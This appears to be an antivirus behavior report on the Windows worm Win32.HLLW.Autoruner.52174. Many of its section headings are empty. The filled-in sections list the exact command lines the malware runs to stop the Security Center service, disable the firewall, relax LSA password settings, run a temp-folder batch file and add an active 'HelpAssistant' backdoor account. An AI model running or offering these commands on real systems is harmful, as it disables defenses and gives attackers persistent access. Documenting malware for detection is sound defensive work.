Win32.HLLW.Autoruner.52174

To ensure autorun and distribution:

Creates or modifies the following files:

Creates the following services:

Creates the following files on removable media:

Malicious functions:

To bypass firewall, removes or modifies the following registry keys:

[<HKLM>\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'

Creates and executes the following:

Executes the following:

<SYSTEM32>\net1.exe stop wscsvc
<SYSTEM32>\net.exe stop wscsvc
<SYSTEM32>\sc.exe config wscsvc start= disabled
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
<SYSTEM32>\findstr.exe /s "YM.CGP_" "%HOMEPATH%"\..\*.txt
<SYSTEM32>\net1.exe start lanmanserver
<SYSTEM32>\sc.exe config lanmanserver start= auto
<SYSTEM32>\reg.exe add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v limitblankpassworduse /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t REG_DWORD /d 0 /f
<SYSTEM32>\cmd.exe /c "%HOMEPATH%\Local Settings\Temporary Internet Files\oi.bat"
<SYSTEM32>\net1.exe user HelpAssistant "active:YES1234" /add
<SYSTEM32>\net1.exe localgroup %USERNAME%s HelpAssistant /add
<SYSTEM32>\net1.exe user HelpAssistant /active:yes
<SYSTEM32>\net1.exe user HelpAssistant "active:YES1234"

Modifies file system :

Creates the following files:

Sets the 'hidden' attribute to the following files:

Deletes the following files:

Network activity:

Connects to:

UDP:

Miscellaneous:

Searches for the following windows: